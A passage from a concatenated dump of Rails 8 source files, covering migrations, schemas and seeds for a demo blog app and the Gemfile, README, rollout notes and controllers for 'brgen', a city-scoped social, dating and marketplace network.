:key ], unique: true\n    end\n\n    create_table :active_storage_attachments, id: primary_key_type do |t|\n      t.string     :name,     null: false\n      t.references :record,   null: false, polymorphic: true, index: false, type: foreign_key_type\n      t.references :blob,     null: false, type: foreign_key_type\n\n      if connection.supports_datetime_with_precision?\n        t.datetime :created_at, precision: 6, null: false\n      else\n        t.datetime :created_at, null: false\n      end\n\n      t.index [ :record_type, :record_id, :name, :blob_id ], name: :index_active_storage_attachments_uniqueness, unique: true\n      t.foreign_key :active_storage_blobs, column: :blob_id\n    end\n\n    create_table :active_storage_variant_records, id: primary_key_type do |t|\n      t.belongs_to :blob, null: false, index: false, type: foreign_key_type\n      t.string :variation_digest, null: false\n\n      t.index [ :blob_id, :variation_digest ], name: :index_active_storage_variant_records_uniqueness, unique: true\n      t.foreign_key :active_storage_blobs, column: :blob_id\n    end\n  end\n\n  private\n    def primary_and_foreign_key_types\n      config = Rails.configuration.generators\n      setting = config.options[config.orm][:primary_key_type]\n      primary_key_type = setting || :primary_key\n      foreign_key_type = setting || :bigint\n      [ primary_key_type, foreign_key_type ]\n    end\nend\n```\n\n## `rails/blognet/db/migrate/20260501020920_create_action_text_tables.action_text.rb`\n```ruby\n# frozen_string_literal: true\n\n# This migration comes from action_text (originally 20180528164100)\nclass CreateActionTextTables &lt; ActiveRecord::Migration[6.0]\n  def change\n    # Use Active Record's configured type for primary and foreign keys\n    primary_key_type, foreign_key_type = primary_and_foreign_key_types\n\n    create_table :action_text_rich_texts, id: primary_key_type do |t|\n      t.string     :name, null: false\n      t.text       :body, size: :long\n      t.references :record, null: false, polymorphic: true, index: false, type: foreign_key_type\n\n      t.timestamps\n\n      t.index [ :record_type, :record_id, :name ], name: \"index_action_text_rich_texts_uniqueness\", unique: true\n    end\n  end\n\n  private\n    def primary_and_foreign_key_types\n      config = Rails.configuration.generators\n      setting = config.options[config.orm][:primary_key_type]\n      primary_key_type = setting || :primary_key\n      foreign_key_type = setting || :bigint\n      [ primary_key_type, foreign_key_type ]\n    end\nend\n```\n\n## `rails/blognet/db/migrate/20260507120001_create_blogs.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateBlogs &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :blogs do |t|\n      t.string :name\n      t.text :description\n      t.string :slug\n      t.references :user, foreign_key: true\n      t.boolean :published, default: false\n      t.integer :posts_count, default: 0\n      t.timestamps\n    end\n    add_index :blogs, :slug, unique: true\n  end\nend\n```\n\n## `rails/blognet/db/migrate/20260507120002_create_posts.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePosts &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :posts do |t|\n      t.string :title\n      t.string :slug\n      t.references :blog, foreign_key: true\n      t.references :user, foreign_key: true\n      t.boolean :published, default: false\n      t.datetime :published_at\n      t.integer :views_count, default: 0\n      t.integer :comments_count, default: 0\n      t.timestamps\n    end\n    add_index :posts, :slug, unique: true\n  end\nend\n```\n\n## `rails/blognet/db/migrate/20260507120003_create_categories.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateCategories &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :categories do |t|\n      t.string :name\n      t.string :slug\n      t.text :description\n      t.timestamps\n    end\n    add_index :categories, :slug, unique: true\n  end\nend\n```\n\n## `rails/blognet/db/migrate/20260507120004_create_categorizations.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateCategorizations &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :categorizations do |t|\n      t.references :post, foreign_key: true\n      t.references :category, foreign_key: true\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/blognet/db/migrate/20260507120005_create_comments.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateComments &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :comments do |t|\n      t.references :post, foreign_key: true\n      t.references :user, foreign_key: true\n      t.integer :parent_id\n      t.text :content\n      t.boolean :approved, default: true\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/blognet/db/migrate/20260507120006_create_tags.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTags &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :tags do |t|\n      t.string :name\n      t.integer :posts_count, default: 0\n      t.timestamps\n    end\n    add_index :tags, :name, unique: true\n  end\nend\n```\n\n## `rails/blognet/db/migrate/20260507120007_create_taggings.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTaggings &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :taggings do |t|\n      t.references :post, foreign_key: true\n      t.references :tag, foreign_key: true\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/blognet/db/queue_schema.rb`\n```ruby\n# frozen_string_literal: true\n\nActiveRecord::Schema[7.1].define(version: 1) do\n  create_table \"solid_queue_blocked_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.string \"queue_name\", null: false\n    t.integer \"priority\", default: 0, null: false\n    t.string \"concurrency_key\", null: false\n    t.datetime \"expires_at\", null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"concurrency_key\", \"priority\", \"job_id\" ], name: \"index_solid_queue_blocked_executions_for_release\"\n    t.index [ \"expires_at\", \"concurrency_key\" ], name: \"index_solid_queue_blocked_executions_for_maintenance\"\n    t.index [ \"job_id\" ], name: \"index_solid_queue_blocked_executions_on_job_id\", unique: true\n  end\n\n  create_table \"solid_queue_claimed_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.bigint \"process_id\"\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_claimed_executions_on_job_id\", unique: true\n    t.index [ \"process_id\", \"job_id\" ], name: \"index_solid_queue_claimed_executions_on_process_id_and_job_id\"\n  end\n\n  create_table \"solid_queue_failed_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.text \"error\"\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_failed_executions_on_job_id\", unique: true\n  end\n\n  create_table \"solid_queue_jobs\", force: :cascade do |t|\n    t.string \"queue_name\", null: false\n    t.string \"class_name\", null: false\n    t.text \"arguments\"\n    t.integer \"priority\", default: 0, null: false\n    t.string \"active_job_id\"\n    t.datetime \"scheduled_at\"\n    t.datetime \"finished_at\"\n    t.string \"concurrency_key\"\n    t.datetime \"created_at\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [ \"active_job_id\" ], name: \"index_solid_queue_jobs_on_active_job_id\"\n    t.index [ \"class_name\" ], name: \"index_solid_queue_jobs_on_class_name\"\n    t.index [ \"finished_at\" ], name: \"index_solid_queue_jobs_on_finished_at\"\n    t.index [ \"queue_name\", \"finished_at\" ], name: \"index_solid_queue_jobs_for_filtering\"\n    t.index [ \"scheduled_at\", \"finished_at\" ], name: \"index_solid_queue_jobs_for_alerting\"\n  end\n\n  create_table \"solid_queue_pauses\", force: :cascade do |t|\n    t.string \"queue_name\", null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"queue_name\" ], name: \"index_solid_queue_pauses_on_queue_name\", unique: true\n  end\n\n  create_table \"solid_queue_processes\", force: :cascade do |t|\n    t.string \"kind\", null: false\n    t.datetime \"last_heartbeat_at\", null: false\n    t.bigint \"supervisor_id\"\n    t.integer \"pid\", null: false\n    t.string \"hostname\"\n    t.text \"metadata\"\n    t.datetime \"created_at\", null: false\n    t.string \"name\", null: false\n    t.index [ \"last_heartbeat_at\" ], name: \"index_solid_queue_processes_on_last_heartbeat_at\"\n    t.index [ \"name\", \"supervisor_id\" ], name: \"index_solid_queue_processes_on_name_and_supervisor_id\", unique: true\n    t.index [ \"supervisor_id\" ], name: \"index_solid_queue_processes_on_supervisor_id\"\n  end\n\n  create_table \"solid_queue_ready_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.string \"queue_name\", null: false\n    t.integer \"priority\", default: 0, null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_ready_executions_on_job_id\", unique: true\n    t.index [ \"priority\", \"job_id\" ], name: \"index_solid_queue_poll_all\"\n    t.index [ \"queue_name\", \"priority\", \"job_id\" ], name: \"index_solid_queue_poll_by_queue\"\n  end\n\n  create_table \"solid_queue_recurring_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.string \"task_key\", null: false\n    t.datetime \"run_at\", null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_recurring_executions_on_job_id\", unique: true\n    t.index [ \"task_key\", \"run_at\" ], name: \"index_solid_queue_recurring_executions_on_task_key_and_run_at\", unique: true\n  end\n\n  create_table \"solid_queue_recurring_tasks\", force: :cascade do |t|\n    t.string \"key\", null: false\n    t.string \"schedule\", null: false\n    t.string \"command\", limit: 2048\n    t.string \"class_name\"\n    t.text \"arguments\"\n    t.string \"queue_name\"\n    t.integer \"priority\", default: 0\n    t.boolean \"static\", default: true, null: false\n    t.text \"description\"\n    t.datetime \"created_at\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [ \"key\" ], name: \"index_solid_queue_recurring_tasks_on_key\", unique: true\n    t.index [ \"static\" ], name: \"index_solid_queue_recurring_tasks_on_static\"\n  end\n\n  create_table \"solid_queue_scheduled_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.string \"queue_name\", null: false\n    t.integer \"priority\", default: 0, null: false\n    t.datetime \"scheduled_at\", null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_scheduled_executions_on_job_id\", unique: true\n    t.index [ \"scheduled_at\", \"priority\", \"job_id\" ], name: \"index_solid_queue_dispatch_all\"\n  end\n\n  create_table \"solid_queue_semaphores\", force: :cascade do |t|\n    t.string \"key\", null: false\n    t.integer \"value\", default: 1, null: false\n    t.datetime \"expires_at\", null: false\n    t.datetime \"created_at\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [ \"expires_at\" ], name: \"index_solid_queue_semaphores_on_expires_at\"\n    t.index [ \"key\", \"value\" ], name: \"index_solid_queue_semaphores_on_key_and_value\"\n    t.index [ \"key\" ], name: \"index_solid_queue_semaphores_on_key\", unique: true\n  end\n\n  add_foreign_key \"solid_queue_blocked_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_claimed_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_failed_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_ready_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_recurring_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_scheduled_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\nend\n```\n\n## `rails/blognet/db/schema.rb`\n```ruby\n# frozen_string_literal: true\n\n# This file is auto-generated from the current state of the database. Instead\n# of editing this file, please use the migrations feature of Active Record to\n# incrementally modify your database, and then regenerate this schema definition.\n#\n# This file is the source Rails uses to define your schema when running `bin/rails\n# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to\n# be faster and is potentially less error prone than running all of your\n# migrations from scratch. Old migrations may fail to apply correctly if those\n# migrations use external dependencies or application code.\n#\n# It's strongly recommended that you check this file into your version control system.\n\nActiveRecord::Schema[8.1].define(version: 2026_05_01_020920) do\n  create_table \"action_text_rich_texts\", force: :cascade do |t|\n    t.text \"body\"\n    t.datetime \"created_at\", null: false\n    t.string \"name\", null: false\n    t.bigint \"record_id\", null: false\n    t.string \"record_type\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [\"record_type\", \"record_id\", \"name\"], name: \"index_action_text_rich_texts_uniqueness\", unique: true\n  end\n\n  create_table \"active_storage_attachments\", force: :cascade do |t|\n    t.bigint \"blob_id\", null: false\n    t.datetime \"created_at\", null: false\n    t.string \"name\", null: false\n    t.bigint \"record_id\", null: false\n    t.string \"record_type\", null: false\n    t.index [\"blob_id\"], name: \"index_active_storage_attachments_on_blob_id\"\n    t.index [\"record_type\", \"record_id\", \"name\", \"blob_id\"], name: \"index_active_storage_attachments_uniqueness\", unique: true\n  end\n\n  create_table \"active_storage_blobs\", force: :cascade do |t|\n    t.bigint \"byte_size\", null: false\n    t.string \"checksum\"\n    t.string \"content_type\"\n    t.datetime \"created_at\", null: false\n    t.string \"filename\", null: false\n    t.string \"key\", null: false\n    t.text \"metadata\"\n    t.string \"service_name\", null: false\n    t.index [\"key\"], name: \"index_active_storage_blobs_on_key\", unique: true\n  end\n\n  create_table \"active_storage_variant_records\", force: :cascade do |t|\n    t.bigint \"blob_id\", null: false\n    t.string \"variation_digest\", null: false\n    t.index [\"blob_id\", \"variation_digest\"], name: \"index_active_storage_variant_records_uniqueness\", unique: true\n  end\n\n  create_table \"sessions\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"ip_address\"\n    t.datetime \"updated_at\", null: false\n    t.string \"user_agent\"\n    t.integer \"user_id\", null: false\n    t.index [\"user_id\"], name: \"index_sessions_on_user_id\"\n  end\n\n  create_table \"users\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"email_address\", null: false\n    t.string \"password_digest\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [\"email_address\"], name: \"index_users_on_email_address\", unique: true\n  end\n\n  add_foreign_key \"active_storage_attachments\", \"active_storage_blobs\", column: \"blob_id\"\n  add_foreign_key \"active_storage_variant_records\", \"active_storage_blobs\", column: \"blob_id\"\n  add_foreign_key \"sessions\", \"users\"\nend\n```\n\n## `rails/blognet/db/seeds.rb`\n```ruby\n# frozen_string_literal: true\n\nuser = User.find_or_create_by!(email_address: \"admin@blognet.example\") do |u|\n  u.password = u.password_confirmation = \"password123\"\nend\n\nblog = Blog.find_or_create_by!(slug: \"demo-blog\") do |b|\n  b.name        = \"Demo Blog\"\n  b.description = \"A demonstration blog\"\n  b.user        = user\n  b.published   = true\nend\n\n5.times do |i|\n  Post.find_or_create_by!(slug: \"post-#{i + 1}\") do |p|\n    p.title     = \"Post #{i + 1}: Getting Started with Rails 8\"\n    p.body      = \"Rails 8 ships with Solid Cache, Solid Queue, and Solid Cable out of the box. This post covers what changed.\"\n    p.blog      = blog\n    p.user      = user\n    p.published = true\n  end\nend\nputs \"Seeded #{Post.count} posts\"\n```\n\n## `rails/brgen/Gemfile`\n```text\nsource \"https://rubygems.org\"\nruby \"~&gt; 3.4\"\n\ngem \"rails\", \"~&gt; 8.1\"\ngem \"sqlite3\", \"~&gt; 2.1\"\ngem \"falcon\"\ngem \"async\"\ngem \"async-http\"\n\n# Real-time\ngem \"turbo-rails\"\ngem \"stimulus-rails\"\ngem \"importmap-rails\"\n\n# Solid Stack (Rails 8)\ngem \"solid_queue\"\ngem \"solid_cache\"\ngem \"solid_cable\"\n\n# Authentication\ngem \"bcrypt\", \"~&gt; 3.1\"\n\n# Social\ngem \"acts_as_tenant\"\n\n# Features\ngem \"pagy\"\ngem \"image_processing\"\ngem \"geocoder\"\ngem \"webpush\"\ngem \"ruby-vips\"\n\n# Real-time + LLM + structured data (per ruby_style.yml stimulus_reflex_stack + SEO requirements)\ngem \"futurism\"\ngem \"ruby_llm\"\n\n# Discovery \u2014 vision-LLM scrapers (lib/tasks/{reddit,amazon}.rake)\ngem \"ferrum\"\n\ngroup :development, :test do\n  gem \"brakeman\"\n  gem \"rubocop-rails-omakase\"\n  gem \"faker\"\nend\n```\n\n## `rails/brgen/README.md`\n```markdown\n# brgen \u2014 hyperlocal city network\n\nbrgen is the aggregate Rails app for city-scoped social publishing, marketplace, dating, playlist, TV, takeaway, maps, notifications, and local identity.\n\nIt keeps the `railsy` product intent, but follows the current pub4 production contract: Rails 8, SQLite, Solid Queue, Solid Cache, Solid Cable, built-in authentication, Falcon, importmap, Hotwire, and OpenBSD rc.d services. The old generator-era assumptions around Devise, Redis, and mandatory PostgreSQL are lineage, not the active deployment shape.\n\n## Surfaces\n\n- Main social network: communities, posts, comments, votes, reactions, follows, messaging, notifications, moderation reports.\n- Marketplace: listings, categories, stores, deals, favorites, saved searches, and listing orders.\n- Dating: profiles, likes, dislikes, matches, and city-local discovery.\n- Playlist: playlists, sets, tracks, listens, audio versions, collaboration, likes, and timestamped comments.\n- TV: channels, videos, live streams, stream chats, subscriptions, comments, notes, and view events.\n- Takeaway: restaurants, menus, orders, favorite restaurants, delivery drivers.\n- Locality: cities, neighborhoods, places, nearby alerts, geolocation, and push subscriptions.\n- Trust: external identities, assurance checks, reputation scores, trust signals, account merges.\n\n## Domains\n\nPrimary domain: `brgen.no`.\n\nCity/domain aliases and subdomains route through OpenBSD `relayd`; app behavior is selected by host and subdomain context inside Rails.\n\nSubdomain apps:\n\n- `tv`\n- `dating`\n- `playlist`\n- `takeaway`\n- `marketplace`, plus localized marketplace aliases\n\n## Deploy\n\n```zsh\ndoas zsh DEPLOY/rails/brgen/brgen.sh\n```\n\nThe deploy script must copy the tracked app tree, run Bundler, migrate, seed when present, update rc.d, register relayd, restart the service, and verify `/up`.\n\n## Missing logic backlog\n\n- Marketplace buyer-seller chat should reuse conversations instead of creating a parallel message system.\n- Playlist sets need routed views for index, show, new, and edit.\n- TV and takeaway operational dashboards need explicit views for driver updates, stream chats, and moderation queues.\n- Dating needs event integration and premium visibility controls.\n- City routing needs a visible locality switcher and domain-to-city audit task.\n```\n\n## `rails/brgen/STIMULUS_ROLLOUT.md`\n```markdown\n# Brgen Stimulus / Rails 8 rollout\n\nBrgen already has social core models and Hotwire refreshes marked done in `apps.yml`. Use the shared baseline to port the missing social/product interactions without adding dashboards.\n\n## Core social\n\n1. Notification component for likes, replies, follows, mentions, direct messages.\n2. Clipboard for post/community/share links.\n3. Reveal for post details, moderation reasons, raw permalink metadata.\n4. Dropdown for feed sort: hot, fresh, top, local.\n5. Auto Submit + Content Loader for live feed/search filters.\n6. Timeago on posts, comments, notifications, messages.\n7. Confirmation for moderation actions.\n\n## Subapps\n\n### tv\n\n- Lightbox/Dialog for videos.\n- Content Loader for episode/video lists.\n- Notification for live broadcast start.\n- Timeago for publish/scheduled timestamps.\n\n### dating\n\n- Hotkey/swipe actions for like/dislike.\n- Dialog for profile detail.\n- Lightbox for profile photos.\n- Notification for match.\n- Turbo Streams for match-to-message handoff.\n\n### marketplace\n\n- Lightbox + Sortable for product photos.\n- Dropdown + Auto Submit for category/price/geo filters.\n- Notification for saved search match.\n- Confirmation for sold/delete actions.\n\n### playlist\n\n- Sortable for tracks.\n- Sound for preview.\n- Clipboard for playlist share.\n- Notification for track added.\n\n### takeaway\n\n- Dialog for item customization.\n- Notification for basket/order state.\n- Reveal for allergens.\n- Turbo Streams for order status.\n\n## Rails 8 work\n\n- Solid Queue: media variants, search indexing, notifications.\n- Solid Cable: direct messages, reactions, order/live status.\n- Solid Cache: feeds, community cards, search result fragments.\n- SQLite FTS5: posts, communities, marketplace, takeaway, tv, playlist.\n- Signed IDs: moderation links, listing edit links, order tracking links.\n\n## Acceptance\n\n- Search has empty/loading/no-results/error states.\n- Feed and subapps remain usable without JavaScript.\n- Notifications are progressive enhancement over server-rendered lists.\n- Moderation actions require confirmation and authorization.\n```\n\n## `rails/brgen/app/channels/application_cable/channel.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule ApplicationCable\n  class Channel &lt; ActionCable::Channel::Base\n  end\nend\n```\n\n## `rails/brgen/app/channels/application_cable/connection.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule ApplicationCable\n  class Connection &lt; ActionCable::Connection::Base\n    identified_by :current_user\n\n    def connect\n      set_current_user || reject_unauthorized_connection\n    end\n\n    private\n      def set_current_user\n        if session = Session.find_by(id: cookies.signed[:session_id])\n          self.current_user = session.user\n        end\n      end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/activity_events_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ActivityEventsController &lt; ApplicationController\n  allow_unauthenticated_access only: :index\n\n  def index\n    @events = ActivityEvent.visible.recent.limit(100)\n    @events = @events.where(source_vertical: params[:vertical]) if params[:vertical].present?\n    @events = @events.where(locality: params[:locality]) if params[:locality].present?\n  end\nend\n```\n\n## `rails/brgen/app/controllers/application_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationController &lt; ActionController::Base\n  include Authentication\n  include Pagy::Method\n\n  before_action :set_domain_context\n\n  # Only allow modern browsers supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has.\n  allow_browser versions: :modern\n\n  # Changes to the importmap will invalidate the etag for HTML responses\n  stale_when_importmap_changes\n\n  private\n\n  def set_domain_context\n    result = Brgen::DomainRegistry.resolve(request.host)\n\n    Current.city = result.entry.city\n    Current.country = result.entry.country\n    Current.currency = result.entry.currency\n    Current.domain = result.entry.domain\n    Current.locale = result.entry.locale\n    Current.subapp = result.subapp\n\n    I18n.locale = result.entry.locale\n  rescue Brgen::DomainRegistry::UnknownHost, Brgen::DomainRegistry::UnknownSubdomain\n    render plain: \"Unknown host\", status: :not_found\n  end\nend\n```\n\n## `rails/brgen/app/controllers/comments_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CommentsController &lt; ApplicationController\n  before_action :require_real_user, only: [:destroy, :generate_summary]\n  before_action :set_commentable\n\n  def create\n    @comment = @commentable.comments.build(comment_params)\n    @comment.user      = Current.user\n    @comment.parent_id = params[:parent_id] if params[:parent_id]\n\n    if @comment.save\n      respond_to do |format|\n        format.turbo_stream\n        format.html { redirect_back fallback_location: root_path }\n      end\n    else\n      respond_to do |format|\n        format.turbo_stream { render turbo_stream: turbo_stream.replace(\"comment_form\", partial: \"comments/form\", locals: { comment: @comment, commentable: @commentable }) }\n        format.html         { redirect_back fallback_location: root_path, alert: @comment.errors.full_messages.to_sentence }\n      end\n    end\n  end\n\n  def destroy\n    @comment = Comment.find(params[:id])\n    @comment.destroy if @comment.user == Current.user\n    respond_to do |format|\n      format.turbo_stream { render turbo_stream: turbo_stream.remove(dom_id(@comment)) }\n      format.html         { redirect_back fallback_location: root_path }\n    end\n  end\n\n  def generate_summary\n    @comment = Comment.find(params[:id])\n    return unless @comment.long_thread?\n    ThreadSummarizer.call(@comment)\n    respond_to do |format|\n      format.turbo_stream { render turbo_stream: turbo_stream.replace(dom_id(@comment), partial: \"comments/comment\", locals: { comment: @comment }) }\n      format.html { redirect_back fallback_location: root_path }\n    end\n  end\n\n  private\n\n  def set_commentable\n    if params[:post_id]\n      @commentable = Post.find(params[:post_id])\n    elsif params[:comment_id]\n      @commentable = Comment.find(params[:comment_id])\n    end\n  end\n\n  def comment_params\n    params.require(:comment).permit(:content)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/communities_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CommunitiesController &lt; ApplicationController\n  before_action :require_real_user, only: [:new, :create]\n  before_action :set_community,     only: [:show]\n\n  def index\n    @communities = Community.popular.includes(:user)\n  end\n\n  def show\n    @posts = @community.posts.hot.includes(:user, :votes)\n  end\n\n  def new\n    @community = Community.new\n  end\n\n  def create\n    @community = Community.new(community_params)\n    @community.user = Current.user\n    if @community.save\n      redirect_to @community, notice: \"Community created.\"\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  private\n\n  def set_community    = @community = Community.find(params[:id])\n  def community_params = params.require(:community).permit(:name, :description)\nend\n```\n\n## `rails/brgen/app/controllers/concerns/authentication.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Authentication\n  extend ActiveSupport::Concern\n\n  included do\n    before_action :resume_session\n    helper_method :authenticated?, :current_user, :guest?\n  end\n\n  class_methods do\n    def allow_unauthenticated_access(**options)\n      skip_before_action :resume_session, **options\n    end\n  end\n\n  private\n\n  def authenticated?\n    Current.user.present? &amp;&amp; !Current.user.guest?\n  end\n\n  def guest?\n    Current.user.present? &amp;&amp; Current.user.guest?\n  end\n\n  def current_user\n    Current.user\n  end\n\n  def resume_session\n    Current.session = find_session_by_cookie\n    Current.user = Current.session&amp;.user || find_or_create_guest_user\n  end\n\n  def start_new_session_for(user)\n    previous_guest_id = session[:guest_user_id]\n    reset_session\n    session[:previous_guest_user_id] = previous_guest_id if previous_guest_id\n\n    Current.session = user.sessions.create!(\n      user_agent: request.user_agent,\n      ip_address: request.remote_ip\n    )\n    Current.user = user\n    cookies.signed.permanent[:session_id] = Current.session.id\n  end\n\n  def terminate_session\n    Current.session&amp;.destroy\n    cookies.delete(:session_id)\n    reset_session\n    Current.session = nil\n    Current.user = find_or_create_guest_user\n  end\n\n  def after_authentication_url\n    root_path\n  end\n\n  def require_real_user\n    return if authenticated?\n\n    redirect_to new_session_path, alert: \"Sign in to continue\"\n  end\n\n  def require_user_session\n    return if Current.user.present?\n\n    redirect_to new_session_path, alert: \"Sign in to continue\"\n  end\n\n  alias_method :require_authentication, :resume_session\n\n  def find_session_by_cookie\n    Session.find_by(id: cookies.signed[:session_id])\n  end\n\n  def find_or_create_guest_user\n    guest_id = session[:guest_user_id]\n    return create_guest_user unless guest_id\n\n    User.find_by(id: guest_id, guest: true) || create_guest_user\n  end\n\n  def create_guest_user\n    guest = User.create!(\n      email_address: \"guest_#{SecureRandom.hex(8)}@guest.local\",\n      password: SecureRandom.hex(16),\n      guest: true\n    )\n    session[:guest_user_id] = guest.id\n    guest\n  end\nend\n```\n\n## `rails/brgen/app/controllers/conversations_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ConversationsController &lt; ApplicationController\n  before_action :require_user_session\n\n  def index\n    @conversations = Conversation.for_user(Current.user)\n                                 .includes(:participants, :messages)\n                                 .order(\"messages.created_at DESC\")\n  end\n\n  def show\n    @conversation = Conversation.for_user(Current.user).find(params[:id])\n    @conversation.mark_read_for!(Current.user)\n    @messages = @conversation.messages.recent.limit(50).reverse\n    @message  = Message.new\n  end\n\n  def create\n    other         = User.find(params[:user_id])\n    @conversation = Conversation.find_or_create_direct(Current.user, other)\n    redirect_to @conversation\n  end\nend\n```\n\n## `rails/brgen/app/controllers/dating/base_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::BaseController &lt; ApplicationController\n\nend\n```\n\n## `rails/brgen/app/controllers/dating/dislikes_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::DislikesController &lt; Dating::BaseController\n  def create\n    user = User.find(params[:user_id])\n    Dating::Dislike.find_or_create_by!(disliker: Current.user, dislikee: user)\n    redirect_to dating_root_path\n  end\nend\n```\n\n## `rails/brgen/app/controllers/dating/home_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::HomeController &lt; Dating::BaseController\n  def index\n    profile = Current.user.dating_profile\n    unless profile&amp;.visible?\n      redirect_to edit_dating_profile_path\n      return\n    end\n    liked_ids    = Dating::Like.where(liker: Current.user).pluck(:likee_id)\n    disliked_ids = Dating::Dislike.where(disliker: Current.user).pluck(:dislikee_id)\n    excluded     = (liked_ids + disliked_ids + [Current.user.id]).uniq\n    scope = Dating::Profile.visible.where.not(user_id: excluded).includes(:user)\n    if (neigh = profile&amp;.neighborhood)\n      scope = scope.in_neighborhood(neigh)\n    end\n    if profile&amp;.latitude &amp;&amp; profile&amp;.longitude\n      scope = scope.nearby(profile.latitude, profile.longitude, 20)\n    end\n    @pagy, @profiles = pagy(scope.order(Arel.sql(\"RANDOM()\")))\n  end\nend\n```\n\n## `rails/brgen/app/controllers/dating/likes_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::LikesController &lt; Dating::BaseController\n  def create\n    user = User.find(params[:user_id])\n    Dating::Like.find_or_create_by!(liker: Current.user, likee: user)\n    redirect_to dating_root_path\n  end\nend\n```\n\n## `rails/brgen/app/controllers/dating/matches_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::MatchesController &lt; Dating::BaseController\n  def index\n    @pagy, @matches = pagy(\n      Dating::Match.active\n        .where(\"initiator_id = ? OR receiver_id = ?\", Current.user.id, Current.user.id)\n        .includes(:initiator, :receiver)\n    )\n  end\nend\n```\n\n## `rails/brgen/app/controllers/dating/profiles_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::ProfilesController &lt; Dating::BaseController\n  before_action :set_profile, only: %i[show edit update]\n\n  def show; end\n\n  def edit\n    @neighborhoods = available_neighborhoods\n  end\n\n  def new\n    @profile = Current.user.build_dating_profile\n    @neighborhoods = available_neighborhoods\n  end\n\n  def create\n    @profile = Current.user.build_dating_profile(profile_params)\n    if @profile.save\n      redirect_to(dating_root_path, notice: \"Profile created\")\n    else\n      @neighborhoods = available_neighborhoods\n      render(:new, status: :unprocessable_entity)\n    end\n  end\n\n  def update\n    if @profile.update(profile_params)\n      redirect_to(dating_root_path, notice: \"Profile updated\")\n    else\n      @neighborhoods = available_neighborhoods\n      render(:edit, status: :unprocessable_entity)\n    end\n  end\n\n  private\n\n  def set_profile\n    @profile = Current.user.dating_profile || redirect_to(new_dating_profile_path)\n  end\n\n  def profile_params\n    params.require(:dating_profile).permit(:bio, :gender, :looking_for, :age, :location, :latitude, :longitude, :neighborhood_id, :bydel, :visible, photos: [])\n  end\n\n  def available_neighborhoods\n    city = Current.city || City.find_by(slug: \"bergen\") || City.first\n    city ? city.neighborhoods.order(:name) : Neighborhood.none\n  end\nend\n```\n\n## `rails/brgen/app/controllers/email_subscriptions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass EmailSubscriptionsController &lt; ApplicationController\n  skip_before_action :require_real_user, raise: false\n\n  def create\n    sub = EmailSubscription.find_or_initialize_by(email: params[:email_subscription][:email])\n    if sub.new_record?\n      sub.city                = params[:email_subscription][:city].presence\n      sub.locale              = 